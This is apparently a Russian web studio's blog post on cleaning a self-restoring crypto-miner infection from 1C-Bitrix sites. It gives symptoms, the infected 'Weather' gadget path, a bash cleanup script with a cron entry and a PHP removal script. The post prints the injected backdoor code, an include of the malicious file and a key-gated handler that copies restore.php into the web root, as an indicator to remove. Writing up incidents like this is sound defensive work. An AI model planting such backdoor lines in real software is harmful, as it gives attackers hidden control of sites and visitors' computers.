Как мы лечили сайты на Битриксе от вируса-майнера + инструкция


Эта небольшая история для тех, кто также как и мы борется за высокую скорость сайта и заботится о его безопасности. В статье мы описываем свой опыт. Будет здорово, если данная информация поможет хотя бы одному разработчику или владельцу сайта.

image

Здравствуйте! Мы — веб-студия Bquadro и на прошлой неделе мы боролись с вирусами на сайтах наших клиентов.

Точнее, вирус был один, но он поразил сразу несколько сайтов. Среди них были как только что опубликованные, так и проекты с 5-летней историей. Общее среди них было только одно: они разрабатывались на 1C-Битрикс.


В процесса разбора проблемы мы прошерстили интернет и наткнулись на разного рода статьи по этой тематике. Где-то пишут, что эта проблема раньше была, но сейчас ее нет (такого же мнения придерживается 1С-Битрикс), кто-то (как мы) столкнулись с ней недавно и у них нет точной инструкции по решению вопроса.

В этой статье — результат работы нескольких дней. Здесь кратко и, надеемся, понятно и наглядно сформулировано все, что нам удалось найти по этой теме. Все, что написано в статье мы проверили опытным путем на своих сайтах, также добавили готовый скрипт по поиску и удалению вируса.


Итак, представьте ситуацию: вы открываете сайт, а вам “навстречу” во весь экран вылетает рекламное окно с призывом “МОНЕТИЗИРУЙТЕ ЭТО” (на английском). Окно видят все: и администраторы сайта, и пользователи.

Знакомьтесь — это вирус-майнер.

Мы столкнулись с ним на прошлой неделе. Сайты, которые находятся у нас на поддержке, заразились вирусом-майнером. И баннер оказался лишь верхушкой айсберга.


Что и зачем делает вирус-майнер


Цель распространителей вируса — майнинг или, по-другому, процесс генерирования криптовалюты, с помощью вычислительных мощностей компьютеров посетителей зараженных сайтов.

После проникновения в систему, вредоносный код начинает отображать рекламный баннер, загружать вычислениями компьютеры посетителей и блокирует контактные формы на зараженном сайте (по крайней мере, у нас было именно так).


Сами компьютеры этот вирус не заражает. Но из-за нагрузки на процессор, при открытом зараженном сайте, компьютер пользователя работает в разы медленнее. Скорость открытия сайта также значительно снижается.

Помимо этого вирус копируется в системные файлы CMS Битрикс и восстанавливает сам себя при удалении видимой части вирусного кода со страниц сайта.


И, самое “вкусное”, то что делает этот вирус практически незаметным и неубиваемым:
кроме ОДНОГО показа баннера, он себя никак не проявляет. На второй и последующие открытия зараженного сайта с одного и того же компьютера, баннер перестает показываться и визуально определить, что сайт заражен становится сложнее (при этом, он все также использует мощности компьютера пользователя). В некоторых случаях он вообще “тихонько сидит” внутри сайта и ждет своего часа. А еще большинство антивирусов его не “видят”.


Отдельно отметим: вирус постоянно модифицируется. В конкретно вашей ситуации он может вести себя по другому, но общие правила поведения майнера, как мы выяснили, не меняются.

image

Решение


В первую очередь мы сделали основное:

  1. еще раз проверили сайты несколькими антивирусниками (в том числе серверным);
  2. начали вручную искать тот самый вирусный код на страницах сайта.

Естественно, этот код был найден и сразу же удален. Но, проблему это не решило. (Вспоминаем, что он восстанавливает сам себя при удалении видимой части вирусного кода со страниц сайта).


После того, как мы промониторили наши сайты, получили консультацию 1С-Битрикса, изучили статьи, кейсы, мнения коллег с форумов, выяснилось следующее: вирус проник на сайт через стандартный модуль Битрикса “Погода” (он поставляется внутри дистрибутива Битрикс по умолчанию). При этом, удаление модуля не помогает: вирус восстанавливает не только себя, но и модуль “Погода”.

Это стало основной проблемой. Для того, чтобы ее решить, потребовался методичный поиск файлов CMS по дате модификации и удаление кода вируса из внутренних файлов вручную.


В чем еще выражалось заражение:

  1. Наличие ошибок в логах и не работали ajax запросы

    PHP Fatal error: ob_start(): Cannot use output buffering in output buffering display handlers in /var/www/promelspb/data/www/promelspb.ru/bitrix/modules/main/lib/data/cache.php on line 346

  2. Ошибка буферизации вызывалась по стеку:

    • в методе CAllMain::PrologActions

      далее
    • в методе CModule::ExecuteModuleEventEx для события “OnEndBufferСontent”

      далее
    • в файле /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php — это и есть вирус


А вот что оставил майнер в файле /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php :


image

Подробная инструкция


  1. Находим и удаляем файлы:

    /bitrix/js/main/core/core_loader.js
    /bitrix/js/main/core/core_tasker.js
    /bitrix/tools/check_files.php
    /bitrix/gadgets/bitrix/weather/
    /bitrix/modules/main/include.backup
    /bitrix/modules/main/include.php.backup
    /restore.php

  2. Файл /bitrix/modules/main/include.php обновляем из исходников через

    /bitrix/admin/update_system.php?BX_SUPPORT_MODE=Y

Если обновление не помогло (дата изменения файла осталось прежним), удаляем вручную код:

include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php"
include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php"
if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}}; 


Для автоматизации в случае заражения множества сайтов внутри виртуальной машины Bitrix мы написали скрипт для удаления вирусных файлов и вирусного кода из рабочих файлов:



#!/bin/bash
echo "Check sites from file $1"
while read line; do
    rm -r $line/bitrix/gadgets/bitrix/weather/
    rm -r $line/bitrix/modules/main/install/gadgets/bitrix/weather/
    rm -r $line/bitrix/tools/check_files.php
    rm -r $line/bitrix/js/main/core/core_loader.js
    rm -r $line/bitrix/js/main/core/core_tasker.js
    rm -r $line/bitrix/modules/main/include.backup
    rm -r $line/bitrix/modules/main/include.php.backup
    rm -r $line/restore.php
done < $1
    echo "OK"
    echo "Remove virus from include.php"
    php /home/bitrix/ext_www/replace_virus.php > /dev/null
    echo "OK"
exit 0

Скрипт нужно разместить в каталоге /bin/ под названием find_virus или по вашему желанию.


Выполнение в консоли: find_virus /home/bitrix/ext_www/sites.txt где, /home/bitrix/ext_www/sites.txt — файл со списком путей к сайтам.


Пример файла sites.txt:

/home/bitrix/ext_www/example1.com
/home/bitrix/ext_www/example2.com
/home/bitrix/ext_www/example3.com

Скрипт find_virus можно добавить в crontab, и, даже, если в очередной раз вирус появится, он будет удален автоматически.
Пример команды crontab:

* * * * * /bin/find_virus  /home/bitrix/ext_www/sites.txt > /dev/null

Для удаления вредоносного кода написали на скорую руку PHP-скрипт, который включен в файл find_virus.

Файл virus_replace.php нужно расположить в /home/bitrix/ext_www/virus_replace.php

<?php
foreach (new DirectoryIterator(__DIR__) as $fileInfo) {
    if($fileInfo->isDot()) continue;
    if($fileInfo->isFile()) continue;
    	$file_path = $fileInfo->getPath().'/'.$fileInfo->getFilename() . "/bitrix/modules/main/include.php";
    	if(file_exists($file_path)){
    		$contents = file_get_contents($file_path);
	    	$contents = str_replace('if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};', '', $contents);
	    	$contents = str_replace('include_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec"."/include.php");', '', $contents);
	    	//print $contents;die();
			file_put_contents($file_path, $contents);
    	}
}

На данный момент все сайты наших клиентов (даже те, где вирус себя не проявил) здоровы и находятся в безопасности.

По результатам нашей работы мы составили подробное описание зараженных вирусом файлов, логики его работы и отправили данный отчет в службу поддержки Битрикс, чтобы они учли содержащиеся в CMS уязвимости и выпустили необходимые обновления.


Напоминаем: вирус работает скрытно. Поэтому рекомендуем заглянуть в код ваших сайтов, на всякий случай!




К сожалению, не доступен сервер mySQL